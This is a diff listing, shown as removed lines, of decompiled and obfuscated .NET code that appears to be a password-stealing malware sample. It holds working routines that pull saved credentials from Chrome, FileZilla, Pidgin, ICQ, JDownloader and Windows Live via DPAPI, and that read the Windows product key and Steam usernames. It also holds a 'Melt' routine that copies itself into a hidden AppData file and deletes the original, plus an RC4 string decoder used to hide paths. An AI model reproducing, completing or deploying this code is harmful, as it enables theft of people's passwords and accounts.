- (object) yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.GetOperaa()
- }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_18:
- num3 = 18;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1]
- {
- (object) yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.ncwmdrCkkXYyIUwQuTlwlicurPyJPLXnoKMVsaDTzGZhWCxxwC()
- }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_19:
- num3 = 19;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_20:
- num3 = 20;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1]
- {
- (object) (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.WmNNdTVNmPtrZOiZQdoXWKKltGiChGXjXVPheBkvBxJabwxHfM() + "\r\n")
- }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_21:
- num3 = 21;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_22:
- num3 = 22;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1]
- {
- (object) (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.mlCGIzZogRyBVxDRNvJiiKTfHbGewWwICUDaKUaWiyOVXgEyce() + "\r\n")
- }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_23:
- num3 = 23;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_24:
- num3 = 24;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1]
- {
- Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject((object) "Application: Steam\r\nUsername: ", yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.KdJhyLywqJGcMXdZkCDYZjHnRgNUmukQLMKPztBeGqHLOFeHlW()), (object) "\r\n")
- }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_25:
- num3 = 25;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_26:
- num3 = 26;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1]
- {
- (object) (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.WCLLKPzszerqHKNFdslVEGaDHVfBOBnPljMtLwBbBMGYVsOmfb() + "\r\n")
- }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_27:
- num3 = 27;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_28:
- num3 = 28;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1]
- {
- (object) (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.kLblosnDhhhJ() + "\r\n")
- }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_29:
- num3 = 29;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_30:
- num3 = 30;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_31:
- num3 = 31;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Close", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true);
- goto label_38;
-label_33:
- num2 = num3;
- switch (num1)
- {
- case 1:
- int num5 = num2 + 1;
- num2 = 0;
- switch (num5)
- {
- case 1:
- goto label_0;
- case 2:
- goto label_1;
- case 3:
- goto label_2;
- case 4:
- goto label_3;
- case 5:
- goto label_4;
- case 6:
- goto label_5;
- case 7:
- goto label_6;
- case 8:
- goto label_7;
- case 9:
- goto label_8;
- case 10:
- goto label_9;
- case 11:
- goto label_10;
- case 12:
- goto label_11;
- case 13:
- goto label_12;
- case 14:
- goto label_13;
- case 15:
- goto label_14;
- case 16:
- goto label_15;
- case 17:
- goto label_17;
- case 18:
- goto label_18;
- case 19:
- goto label_19;
- case 20:
- goto label_20;
- case 21:
- goto label_21;
- case 22:
- goto label_22;
- case 23:
- goto label_23;
- case 24:
- goto label_24;
- case 25:
- goto label_25;
- case 26:
- goto label_26;
- case 27:
- goto label_27;
- case 28:
- goto label_28;
- case 29:
- goto label_29;
- case 30:
- goto label_30;
- case 31:
- goto label_31;
- case 32:
- goto label_38;
- }
- break;
- }
- }
- catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
- {
- ProjectData.SetProjectError(ex);
- goto label_33;
- }
- throw ProjectData.CreateProjectError(-2146828237);
-label_38:
- if (num2 == 0)
- return;
- ProjectData.ClearProjectError();
- }
-
- public static void Melt(string NewName)
- {
- try
- {
- string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
- if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(Application.StartupPath, folderPath, false) != 0)
- {
- FileSystem.FileCopy(Assembly.GetExecutingAssembly().GetModules()[0].FullyQualifiedName, folderPath + "\\" + NewName);
- Interaction.Shell(folderPath + "\\" + NewName + " " + Assembly.GetExecutingAssembly().GetModules()[0].FullyQualifiedName);
- FileAttributes fileAttributes = FileAttributes.Hidden;
- System.IO.File.SetAttributes(folderPath + "\\" + NewName, fileAttributes);
- ProjectData.EndApp();
- }
- else
- FileSystem.Kill(Interaction.Command());
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
-
- public static string gwcqPBHXULYDADOrwheWpKJ(string ZDehjJRDjdkZgavKV)
- {
- string str1 = nameof (gwcqPBHXULYDADOrwheWpKJ);
- int index1 = 0;
- int index2 = 0;
- StringBuilder stringBuilder = new StringBuilder();
- string empty = string.Empty;
- int[] numArray1 = new int[257];
- int[] numArray2 = new int[257];
- int length = str1.Length;
- int location1 = 0;
- while (location1 <= (int) byte.MaxValue)
- {
- char String = str1.Substring(location1 % length, 1).ToCharArray()[0];
- numArray2[location1] = Strings.Asc(String);
- numArray1[location1] = location1;
- Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1));
- }
- int index3 = 0;
- int location2 = 0;
- while (location2 <= (int) byte.MaxValue)
- {
- index3 = checked (index3 + numArray1[location2] + numArray2[location2]) % 256;
- int num = numArray1[location2];
- numArray1[location2] = numArray1[index3];
- numArray1[index3] = num;
- Math.Max(Interlocked.Increment(ref location2), checked (location2 - 1));
- }
- int location3 = 1;
- while (location3 <= ZDehjJRDjdkZgavKV.Length)
- {
- index1 = checked (index1 + 1) % 256;
- index2 = checked (index2 + numArray1[index1]) % 256;
- int num1 = numArray1[index1];
- numArray1[index1] = numArray1[index2];
- numArray1[index2] = num1;
- int num2 = numArray1[checked (numArray1[index1] + numArray1[index2]) % 256];
- int CharCode = Strings.Asc(ZDehjJRDjdkZgavKV.Substring(checked (location3 - 1), 1).ToCharArray()[0]) ^ num2;
- stringBuilder.Append(Strings.Chr(CharCode));
- Math.Max(Interlocked.Increment(ref location3), checked (location3 - 1));
- }
- string str2 = stringBuilder.ToString();
- stringBuilder.Length = 0;
- return str2;
- }
-
- public static string GetOSVersion()
- {
- switch (Environment.OSVersion.Platform)
- {
- case PlatformID.Win32S:
- return "Win 3.1";
- case PlatformID.Win32Windows:
- switch (Environment.OSVersion.Version.Minor)
- {
- case 0:
- return "Windows 95";
- case 10:
- return "Windows 98";
- case 90:
- return "Windows ME";
- default:
- return "Unknown";
- }
- case PlatformID.Win32NT:
- switch (Environment.OSVersion.Version.Major)
- {
- case 3:
- return "Windows NT 3.51";
- case 4:
- return "Windows NT 4.0";
- case 5:
- switch (Environment.OSVersion.Version.Minor)
- {
- case 0:
- return "Windows 2000";
- case 1:
- return "Windows XP";
- case 2:
- return "Windows 2003";
- }
- break;
- case 6:
- return "Windows 7 / Vista";
- default:
- return "Unknown";
- }
- case PlatformID.WinCE:
- return "Windows CE";
- }
- string osVersion;
- return osVersion;
- }
-
- public static string OSProductKey(string KeyPath, string ValueName)
- {
- string Expression = "";
- try
- {
- object objectValue = RuntimeHelpers.GetObjectValue(MyProject.Computer.Registry.GetValue(KeyPath, ValueName, (object) 0));
- if (objectValue == null)
- return "N/A";
- string str1 = "";
- int num1 = Information.LBound((Array) objectValue);
- int num2 = Information.UBound((Array) objectValue);
- int num3 = num1;
- while (num3 <= num2)
- {
- str1 = str1 + " " + Conversion.Hex(RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(objectValue, new object[1]
- {
- (object) num3
- }, (string[]) null)));
- checked { ++num3; }
- }
- int num4 = 52;
- int num5 = 67;
- string[] strArray1 = new string[25]
- {
- "B",
- "C",
- "D",
- "F",
- "G",
- "H",
- "J",
- "K",
- "M",
- "P",
- "Q",
- "R",
- "T",
- "V",
- "W",
- "X",
- "Y",
- "2",
- "3",
- "4",
- "6",
- "7",
- "8",
- "9",
- null
- };
- int num6 = 29;
- int num7 = 15;
- string[] strArray2 = new string[16];
- string[] strArray3 = new string[31];
- string str2 = "";
- int num8 = num4;
- int num9 = num5;
- int num10 = num8;
- while (num10 <= num9)
- {
- strArray2[checked (num10 - num4)] = Conversions.ToString(NewLateBinding.LateIndexGet(objectValue, new object[1]
- {
- (object) num10
- }, (string[]) null));
- str2 = str2 + " " + Conversion.Hex((object) strArray2[checked (num10 - num4)]);
- checked { ++num10; }
- }
- int index1 = checked (num6 - 1);
- while (index1 >= 0)
- {
- if (checked (index1 + 1) % 6 == 0)
- {
- strArray3[index1] = "-";
- Expression += "-";
- }
- else
- {
- int index2 = 0;
- int index3 = checked (num7 - 1);
- while (index3 >= 0)
- {
- int num11 = checked ((int) ((long) Math.Round(unchecked ((double) index2 * 256.0)) | Conversions.ToLong(strArray2[index3])));
- strArray2[index3] = Conversions.ToString(num11 / 24);
- index2 = num11 % 24;
- checked { index3 += -1; }
- }
- strArray3[index1] = strArray1[index2];
- Expression += strArray1[index2];
- }
- checked { index1 += -1; }
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- return Strings.StrReverse(Expression);
- }
-
- internal static string ncwmdrCkkXYyIUwQuTlwlicurPyJPLXnoKMVsaDTzGZhWCxxwC()
- {
- StringBuilder stringBuilder = new StringBuilder();
- string[] directories = Directory.GetDirectories(Interaction.Environ("APPDATA") + "\\ICQ", "*", SearchOption.TopDirectoryOnly);
- int num = checked (directories.Length - 1);
- int index1 = 0;
- while (index1 <= num)
- {
- if (Versioned.IsNumeric((object) directories[index1].Split('\\')[checked (directories[index1].Split('\\').Length - 1)]))
- {
- string str = Encoding.Unicode.GetString(System.IO.File.ReadAllBytes(!System.IO.File.Exists(directories[index1] + "\\Owner.mdb") ? directories[index1] + "\\Owner.qdb" : directories[index1] + "\\Owner.mdb")).Replace("\0", "");
- long startIndex = (long) str.IndexOf("StoredPassword");
- string Left = "";
- if (startIndex > 0L)
- {
- byte[] numArray = Convert.FromBase64String(Strings.Mid(str.Substring(checked ((int) startIndex)).Replace(Conversions.ToString(Strings.Chr(132)), ""), 17, 44));
- int index2 = 0;
- do
- {
- Left = Conversion.Hex(numArray[index2]).Length >= 2 ? Left + Conversion.Hex(numArray[index2]) : Left + "0" + Conversion.Hex(numArray[index2]);
- checked { ++index2; }
- }
- while (index2 <= 15);
- }
- if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(Left, "", false) != 0)
- stringBuilder.Append("Application: ICQ\r\nUIN: " + directories[index1].Split('\\')[checked (directories[index1].Split('\\').Length - 1)] + "\r\nPassword: " + Left + "\r\n\r\n");
- else
- stringBuilder.Append("Application: ICQ\r\nUIN: " + directories[index1].Split('\\')[checked (directories[index1].Split('\\').Length - 1)] + "\r\nPassword : - \r\n\r\n");
- }
- checked { ++index1; }
- }
- return stringBuilder.ToString();
- }
-
- internal static string mlCGIzZogRyBVxDRNvJiiKTfHbGewWwICUDaKUaWiyOVXgEyce()
- {
- string str1 = "";
- StringBuilder stringBuilder = new StringBuilder();
- string str2 = "";
- string path = Interaction.Environ("Programfiles(x86)") != null ? Interaction.Environ("programfiles(x86)") + "\\jDownloader\\config\\database.script" : Interaction.Environ("programfiles") + "\\jDownloader\\config\\database.script";
- if (!System.IO.File.Exists(path))
- return "";
- string str3 = "INSERT INTO CONFIG VALUES('AccountController','";
- string[] strArray1 = System.IO.File.ReadAllLines(path);
- int num1 = checked (strArray1.Length - 1);
- int index1 = 0;
- while (index1 <= num1)
- {
- if (strArray1[index1].Contains(str3))
- {
- string str4 = strArray1[index1].Substring(checked (str3.Length - 1)).Substring(1, checked (strArray1[index1].Length - str3.Length + 1 + 3));
- int num2 = checked (str4.Length - 1);
- int startIndex = 0;
- while (startIndex <= num2)
- {
- str1 += Conversions.ToString(Strings.Chr(Conversions.ToInteger("&H" + str4.Substring(startIndex, 2))));
- checked { startIndex += 2; }
- }
- string str5 = "";
- string[] strArray2 = str1.Split(char.MinValue);
- int num3 = checked (strArray2.Length - 1);
- int index2 = 0;
- while (index2 <= num3)
- {
- int CharCode = 1;
- do
- {
- strArray2[index2] = strArray2[index2].Replace(Conversions.ToString(Strings.Chr(CharCode)), "");
- checked { ++CharCode; }
- }
- while (CharCode <= 31);
- strArray2[index2] = strArray2[index2].Replace("ÿ", "");
- if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(strArray2[index2], "", false) != 0)
- str5 = str5 + "\r\n" + strArray2[index2];
- checked { ++index2; }
- }
- string[] strArray3 = str5.ToString().Split('\r');
- int num4 = checked (strArray3.Length - 2);
- int index3 = 0;
- while (index3 <= num4)
- {
- if (strArray3[index3].EndsWith("sq") & strArray3[index3].IndexOf(".") > 0)
- str2 = strArray3[index3].Substring(0, checked (strArray3[index3].Length - 2));
- if (strArray3[index3].EndsWith("t") & strArray3[checked (index3 + 1)].EndsWith("xt"))
- {
- string str6 = strArray3[index3].Substring(0, checked (strArray3[index3].Length - 1));
- string str7 = strArray3[checked (index3 + 1)].Substring(0, checked (strArray3[index3 + 1].Length - 2));
- if (str6.Length > 4)
- stringBuilder.Append("Application: JDownloader\r\nHost: " + str2 + "\r\nUser: " + str7 + "\r\nPass: " + str6 + "\r\n\r\n");
- }
- checked { ++index3; }
- }
- }
- checked { ++index1; }
- }
- return stringBuilder.ToString();
- }
-
- public static string kLblosnDhhhJ()
- {
- XmlDocument xmlDocument = new XmlDocument();
- object Left = (object) null;
- string str1 = "";
- string str2 = Interaction.Environ("appdata") + "\\FileZilla\\recentservers.xml";
- if (System.IO.File.Exists(str2))
- {
- try
- {
- xmlDocument.Load(str2);
- XmlNodeList elementsByTagName1 = xmlDocument.GetElementsByTagName("Host");
- XmlNodeList elementsByTagName2 = xmlDocument.GetElementsByTagName("Port");
- XmlNodeList elementsByTagName3 = xmlDocument.GetElementsByTagName("User");
- XmlNodeList elementsByTagName4 = xmlDocument.GetElementsByTagName("Pass");
- int num = checked (elementsByTagName1.Count - 1);
- int i = 0;
- while (i <= num)
- {
- Left = Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Left, (object) "Application: FileZilla"), (object) "\r\n"), (object) "Host: "), (object) elementsByTagName1[i].InnerText), (object) "\r\n"), (object) "Port: "), (object) elementsByTagName2[i].InnerText), (object) "\r\n"), (object) "Username: "), (object) elementsByTagName3[i].InnerText), (object) "\r\n"), (object) "Password: "), (object) elementsByTagName4[i].InnerText), (object) "\r\n"), (object) "\r\n");
- checked { ++i; }
- }
- str1 = Conversions.ToString(Left);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- return str1;
- }
-
- internal static string WCLLKPzszerqHKNFdslVEGaDHVfBOBnPljMtLwBbBMGYVsOmfb()
- {
- XmlDocument xmlDocument = new XmlDocument();
- object Left = (object) null;
- string str1 = "";
- string str2 = Interaction.Environ("appdata") + "\\.purple\\accounts.xml";
- if (System.IO.File.Exists(str2))
- {
- try
- {
- xmlDocument.Load(str2);
- XmlNodeList elementsByTagName1 = xmlDocument.GetElementsByTagName("protocol");
- XmlNodeList elementsByTagName2 = xmlDocument.GetElementsByTagName("name");
- XmlNodeList elementsByTagName3 = xmlDocument.GetElementsByTagName("password");
- int num = checked (elementsByTagName1.Count - 1);
- int i = 0;
- while (i <= num)
- {
- Left = Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Left, (object) "Application: Pidgin"), (object) "\r\n"), (object) "Protocol: "), (object) elementsByTagName1[i].InnerText), (object) "\r\n"), (object) "Username: "), (object) elementsByTagName2[i].InnerText), (object) "\r\n"), (object) "Password: "), (object) elementsByTagName3[i].InnerText), (object) "\r\n"), (object) "\r\n");
- str1 = Conversions.ToString(Left);
- checked { ++i; }
- }
- str1 = str1;
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- return str1;
- }
-
- [DllImport("crypt32", CharSet = CharSet.Auto, SetLastError = true)]
- internal static extern bool CryptUnprotectData(
- ref yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.DATA_BLOB dataIn,
- int ppszDataDescr,
- int optionalEntropy,
- int pvReserved,
- int pPromptStruct,
- int dwFlags,
- ref yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.DATA_BLOB pDataOut);
-
- [DllImport("advapi32", CharSet = CharSet.Unicode, SetLastError = true)]
- private static extern bool CredEnumerate(
- string filter,
- int flag,
- ref int oMhrmhotLlExlwDkbjCerlkhqoalxa,
- ref IntPtr puweopTywlscmvSnEiihkDydryxgIJ);
-
- public static string WmNNdTVNmPtrZOiZQdoXWKKltGiChGXjXVPheBkvBxJabwxHfM()
- {
- string str = "";
- try
- {
- int oMhrmhotLlExlwDkbjCerlkhqoalxa = 0;
- IntPtr zero = IntPtr.Zero;
- if (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.CredEnumerate("WindowsLive:name=*", 0, ref oMhrmhotLlExlwDkbjCerlkhqoalxa, ref zero))
- {
- IntPtr[] numArray = new IntPtr[checked (oMhrmhotLlExlwDkbjCerlkhqoalxa - 1 + 1)];
- IntPtr num1 = zero;
- int num2 = checked (oMhrmhotLlExlwDkbjCerlkhqoalxa - 1);
- int index = 0;
- while (index <= num2)
- {
- numArray[index] = Marshal.ReadIntPtr((IntPtr) checked (num1.ToInt32() + IntPtr.Size * index));
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.CREDENTIAL structure = (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.CREDENTIAL) Marshal.PtrToStructure(numArray[index], typeof (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.CREDENTIAL));
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.DATA_BLOB dataIn = new yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.DATA_BLOB();
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.DATA_BLOB pDataOut = new yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.DATA_BLOB();
- dataIn.pbData = structure.lpbCredentialBlob;
- dataIn.cbData = (int) structure.dwCredentialBlobSize;
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.CryptUnprotectData(ref dataIn, 0, 0, 0, 0, 1, ref pDataOut);
- str = str + "Application: MSN\r\nUsername: " + Marshal.PtrToStringAuto(structure.lpUserName) + "\r\nPassword: " + Marshal.PtrToStringAuto(dataIn.pbData) + "\r\n";
- checked { ++index; }
- }
- str = str;
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- return str;
- }
-
- public static object KYUDRqqRamPiOlEdEPJbKhRbhdpGVcenLGjlSYrzpVQQPUFMTj()
- {
- string str1 = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\Default\\Login Data";
- try
- {
- object Instance1 = (object) new SQLiteHandler(str1);
- NewLateBinding.LateCall(Instance1, (System.Type) null, "ReadTable", new object[1]
- {
- (object) "logins"
- }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
- if (System.IO.File.Exists(str1))
- {
- int integer = Conversions.ToInteger(Microsoft.VisualBasic.CompilerServices.Operators.SubtractObject(NewLateBinding.LateGet(Instance1, (System.Type) null, "GetRowCount", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null), (object) 1));
- int num = 0;
- while (num <= integer)
- {
- object Instance2 = Instance1;
- object[] objArray1 = new object[2]
- {
- (object) num,
- (object) "origin_url"
- };
- object[] Arguments1 = objArray1;
- bool[] flagArray1 = new bool[2]{ true, false };
- bool[] CopyBack1 = flagArray1;
- object obj1 = NewLateBinding.LateGet(Instance2, (System.Type) null, "GetValue", Arguments1, (string[]) null, (System.Type[]) null, CopyBack1);
- if (flagArray1[0])
- num = (int) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray1[0]), typeof (int));
- string str2 = Conversions.ToString(obj1);
- object Instance3 = Instance1;
- object[] objArray2 = new object[2]
- {
- (object) num,
- (object) "username_value"
- };
- object[] Arguments2 = objArray2;
- bool[] flagArray2 = new bool[2]{ true, false };
- bool[] CopyBack2 = flagArray2;
- object obj2 = NewLateBinding.LateGet(Instance3, (System.Type) null, "GetValue", Arguments2, (string[]) null, (System.Type[]) null, CopyBack2);
- if (flagArray2[0])
- num = (int) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray2[0]), typeof (int));
- string Left1 = Conversions.ToString(obj2);
- Encoding Instance4 = Encoding.Default;
- object[] objArray3 = new object[1];
- object[] objArray4 = objArray3;
- object Instance5 = Instance1;
- object Instance6 = Instance5;
- object[] objArray5 = new object[2]
- {
- (object) num,
- null
- };
- object[] objArray6 = objArray5;
- string str3 = "password_value";
- string str4 = str3;
- objArray6[1] = (object) str4;
- object[] objArray7 = objArray5;
- object[] Arguments3 = objArray7;
- bool[] flagArray3 = new bool[2]{ true, false };
- bool[] CopyBack3 = flagArray3;
- object obj3 = NewLateBinding.LateGet(Instance6, (System.Type) null, "GetValue", Arguments3, (string[]) null, (System.Type[]) null, CopyBack3);
- if (flagArray3[0])
- num = (int) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray7[0]), typeof (int));
- object objectValue = RuntimeHelpers.GetObjectValue(obj3);
- objArray4[0] = objectValue;
- object[] objArray8 = objArray3;
- object[] Arguments4 = objArray8;
- bool[] flagArray4 = new bool[1]{ true };
- bool[] CopyBack4 = flagArray4;
- object Datas = NewLateBinding.LateGet((object) Instance4, (System.Type) null, "GetBytes", Arguments4, (string[]) null, (System.Type[]) null, CopyBack4);
- if (flagArray4[0])
- NewLateBinding.LateSetComplex(Instance5, (System.Type) null, "GetValue", new object[3]
- {
- (object) num,
- (object) str3,
- RuntimeHelpers.GetObjectValue(objArray8[0])
- }, (string[]) null, (System.Type[]) null, true, false);
- string Left2 = yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Decrypt((byte[]) Datas);
- if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(Left1, "", false) != 0 & Microsoft.VisualBasic.CompilerServices.Operators.CompareString(Left2, "", false) != 0)
- {
- string str5 = "Application: Google Chrome\r\nHost: " + str2 + "\r\nUsername: " + Left1 + "\r\nPassword: " + Left2 + "\r\n";
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.ListBox1.Items.Add((object) str5);
- }
- checked { ++num; }
- }
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- object obj;
- return obj;
- }
-
- public static string Decrypt(byte[] Datas)
- {
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.DATA_BLOB dataIn = new yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.DATA_BLOB();
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.DATA_BLOB pDataOut = new yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.DATA_BLOB();
- GCHandle gcHandle = GCHandle.Alloc((object) Datas, GCHandleType.Pinned);
- dataIn.pbData = gcHandle.AddrOfPinnedObject();
- dataIn.cbData = Datas.Length;
- gcHandle.Free();
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.CryptUnprotectData(ref dataIn, 0, 0, 0, 0, 0, ref pDataOut);
- byte[] numArray = new byte[checked (pDataOut.cbData + 1)];
- Marshal.Copy(pDataOut.pbData, numArray, 0, pDataOut.cbData);
- string str = Encoding.Default.GetString(numArray);
- return str.Substring(0, checked (str.Length - 1));
- }
-
- public static void TvDbsYmmzeKXixjs()
- {
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.AText.Location = new Point(10, 10);
- string str1 = (string) null;
- bool flag = false;
- string str2 = Interaction.Environ(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.gwcqPBHXULYDADOrwheWpKJ("U" + Conversions.ToString(Strings.Chr(214)) + Conversions.ToString(Strings.Chr(161)) + "p" + Conversions.ToString(Strings.Chr(161)) + "\u0014" + Conversions.ToString(Strings.Chr(149)) + Conversions.ToString(Strings.Chr(228)) + " " + Conversions.ToString(Strings.Chr(252)) + "6F")) + yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.gwcqPBHXULYDADOrwheWpKJ("Y" + Conversions.ToString(Strings.Chr(201)) + Conversions.ToString(Strings.Chr(129)) + "M" + Conversions.ToString(Strings.Chr(154)) + "9" + Conversions.ToString(Strings.Chr(180)) + Conversions.ToString(Strings.Chr(195)) + "I" + Conversions.ToString(Strings.Chr(246)) + "\u001Ag5" + Conversions.ToString(Strings.Chr(196)) + Conversions.ToString(Strings.Chr(172)) + Conversions.ToString(Strings.Chr(253)) + "H");
- string[] directories = Directory.GetDirectories(Interaction.Environ(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.gwcqPBHXULYDADOrwheWpKJ("D" + Conversions.ToString(Strings.Chr(212)) + Conversions.ToString(Strings.Chr(190)) + "s" + Conversions.ToString(Strings.Chr(178)) + "\u0001" + Conversions.ToString(Strings.Chr(153)))) + yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.gwcqPBHXULYDADOrwheWpKJ("Y" + Conversions.ToString(Strings.Chr(201)) + Conversions.ToString(Strings.Chr(129)) + "M" + Conversions.ToString(Strings.Chr(154)) + "9" + Conversions.ToString(Strings.Chr(180)) + Conversions.ToString(Strings.Chr(195)) + "5" + Conversions.ToString(Strings.Chr(246)) + "\u001Ag5" + Conversions.ToString(Strings.Chr(196)) + Conversions.ToString(Strings.Chr(172)) + Conversions.ToString(Strings.Chr(253)) + "H" + Conversions.ToString(Strings.Chr(189)) + ">gwuzoT"));
- int index1 = 0;
- while (index1 < directories.Length)
- {
- string str3 = directories[index1];
- if (!flag)
- {
- string[] files = Directory.GetFiles(str3);
- int index2 = 0;
- while (index2 < files.Length)
- {
- string input = files[index2];
- if (!flag)
- {
